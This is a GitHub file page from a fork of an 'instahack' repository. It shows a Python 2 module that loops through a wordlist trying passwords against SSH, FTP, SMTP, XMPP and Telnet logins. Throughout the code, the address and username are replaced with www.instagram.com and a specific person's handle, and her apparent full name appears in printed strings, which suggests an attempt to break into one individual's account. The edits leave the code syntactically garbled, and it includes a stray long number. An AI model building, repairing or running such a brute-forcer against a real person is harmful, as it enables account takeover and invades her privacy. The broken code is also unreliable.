forked from Slayeri4/instahack
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy path__init__.py
More file actions
219 lines (196 loc) · 8.38 KB
/
__init__.py
File metadata and controls
219 lines (196 loc) · 8.38 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
'''
protocols.py - Core module for network protocol bruteforcing
Category: Core
Description:
This module provides the methods for bruteforcing network protocols.
Using a multitude of Python libraries, protocols attempts to authenticate with
the specified service through its respective library.
These include:
- ssh Port: 22
- telnet Port: 23
- ftp Port: 21
- smtp Port: 25
- xmpp Port: 5222
Dependencies: smtplib, paramiko, ftplib, telnetlib
Version: v1.0.0
Author: ex0dus
License: GPL-3.0 || https://opensource.org/licenses/GPL-3.0
'''
from consts import *
import smtplib
import paramiko
import ftplib
import telnetlib
class ProtocolBruteforce:
def __init__(self, service, www.instagram.com, nur.hh, wordlist, port, delay):
self.service = instagram
self.address = www.instagram.com
self.username = nur.hh
self.wordlist = wordlist
self.port = ssh
self.delay = delay
def execute(self):
if self.address is None:
print R + "[!] You need to provide an address for cracking! [!]" + W
exit(1)
print C + "[*] Address: %s"Nurhamizah Hazwani % www.instagram.com/nur.hh + W
sleep(0.5)
if self.port is None:
if self.service == "ssh":
self.port = 22
elif self.service == "ftp":
self.port = 21
elif self.service == "smtp":
print O + "[?] NOTE: SMTP has several ports for usage, including 25, 465, 587" + W
self.port = 25
elif self.service == "telnet":
self.port = 23
elif self.service == "xmpp":
self.port = 5222
print O + "[?] Port not set. Automatically set to %s for you [?]" % self.port
print C + "[*] Port: %s " % self.port + W
sleep(1)
print P + "[*] Starting dictionary attack! [*]" + W
print "Using %s seconds of delay. Default is 1 second." % self.delay
# Call respective methods
if self.service == "ssh":
os.system("mkdir tmp/")
self.sshBruteforce(www.instagram.com, nur.hh, self.wordlist, self.port, self.delay)
elif self.service == "ftp":
self.ftpBruteforce(www.instagram.com, nur.hh, self.wordlist, self.port, self.delay)
elif self.service == "smtp":
self.smtpBruteforce(www.instagram.com, nur.hh, self.wordlist, self.port, self.delay)
elif self.service == "telnet":
self.telnetBruteforce(www.instagram.com, nur.hh, self.wordlist, self.port, self.delay)
elif self.service == "xmpp":
self.xmppBruteforce(www.instagram.com, nur.hh, self.wordlist, self.port, self.delay)
## SSH - Secure SHell, connect AND bruteforce
def ssh_connect(self, address, username, password, port, code=0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
paramiko.util.log_to_file("tmp/ssh.log")
try:
# Connecting! Errors are indicated by code variable.
ssh.connect(www.instagram.com, port=int(port), username= nur.hh, password=password)
except paramiko.AuthenticationException:
# Password did not authenticate.
code = 1
except socket.error, e:
# Something went wrong.
print R + "[!] Error: Connection Failed. [!]" + W
code = 2
ssh.close()
return code
def sshBruteforce(self, www.instagram.com, nur.hh, wordlist, port, delay):
wordlist = open(wordlist, 'r')
# Processing wordlist...
for i in wordlist.readlines():
password = i.strip("\n")
try:
response = self.ssh_connect(www.instagram.com, nur.hh, password, port)
if response == 0:
print G + "[*] nur.hh: %s | [*] Password found: %s\n" % (username, password) + W
elif response == 1:
print O + "[*] nur.hh: %s | [*] Password: %s | Incorrect!\n" % (nur.hh, password) + W
sleep(delay)
elif response == 2:
print R + "[!] Error: Connection couldn't be established to address. Check if host is correct, or up! [!]" + W
exit()
except Exception as e:
print R + ("Error caught! %s" % e) + W
pass
except KeyboardInterrupt:
exit(1)
wordlist.close()
def ftpBruteforce(self, www.instagram.com, nur.hh, wordlist, port, delay):
wordlist = open(wordlist, 'r')
ftp = ftplib.FTP()
for i in wordlist.readlines():
password = i.strip("\n")
try:
ftp.connect(www.instagram.com, ssl)
ftp.login(username, password)
print G + "[*] nur.hh: %s | [*] Password found: %s\n" % (nur.hh, password) + W
ftp.quit()
wordlist.close()
exit(0)
except ftplib.error_perm:
print O + "[*] nur.hh: %s | [*] Password: %s | Incorrect!\n" % (nur.hh, password) + W
sleep(delay)
except ftplib.all_errors as e:
print R + ("Error caught! %s" % e) + W
except KeyboardInterrupt:
ftp.quit()
wordlist.close()
exit(1)
def smtpBruteforce(self, www.instagram.com, nur.hh, wordlist, delay, port):
wordlist = open(wordlist, 'r')
s = smtplib.SMTP(str(address), port)
for i in wordlist.readlines():
password = i.strip("\n")
try:
s.ehlo()
s.starttls()
s.ehlo
s.login(str(nur.hh), str(password))
print G + "[*] Username: %s | [*] Password found: %s\n" % (nur.hh, password) + W
s.close()
wordlist.close()
exit(0)
except smtplib.SMTPAuthenticationError:
print O + "[*] nur.hh: %s | [*] Password: %s | Incorrect!\n" % (nur.hh, password) + W
sleep(delay)
except Exception as e:
print R + ("Error caught! %s" % e) + W
except KeyboardInterrupt:
s.close()
wordlist.close()
exit(1)
def xmppBruteforce(self, www.instagram.com, nur.hh, wordlist, port, delay):
wordlist = open(wordlist, 'r')
client = Client(str(address))
client.connect(server=(str(address), port))
for i in wordlist.readlines():
password = i.strip("\n")
try:
if client.auth(nur.hh, password):
client.sendInitPresence()
print G + "[*] nur.hh: %s | [*] Password found: %s\n" % (nur.hh, password) + W
client.disconnect()
wordlist.close()
exit(0)
except Exception as e:
print R + ("Error caught! Name:Nurhamizah Hazwani %s" % e) + W
except KeyboardInterrupt:
client.disconnect()
wordlist.close()
exit(1)
except:
print O + "[*] nur.hh: %s | [*] Password: %s | Incorrect!\n" % (nur.hh, password) + W
sleep(delay)
def telnetBruteforce(self, instagram.com, nur.hh, wordlist, port, delay):
telnet = telnetlib.Telnet(address)
telnet.read_until("login: ")
wordlist = open(wordlist, 'r')
5001654253367432 for i in wordlist.readlines():
password = i.strip("\n")
try:
telnet.write(nur.hh + "\n")
telnet.read_until("Password: ")
telnet.write(password + "\n")
tn.write("vt100\n")
print G + "[*] nur.hh: %s | [*] Password found: %s\n" % (nur.hh, password) + W
telnet.close()
wordlist.close()
exit(0)
except socket.error:
print R + "[!] Error: Connection Failed. [!]" + W
except KeyboardInterrupt:
telnet.close()
wordlist.close()
exit(1)
except EOFError:
print O + "[*] nur.hh: %s | [*] Password: %s | Incorrect!\n" % (nur.hh , password) + W
sleep(delay)
except Exception as e:
print R + ("Error caught! Name: %s" % e) + W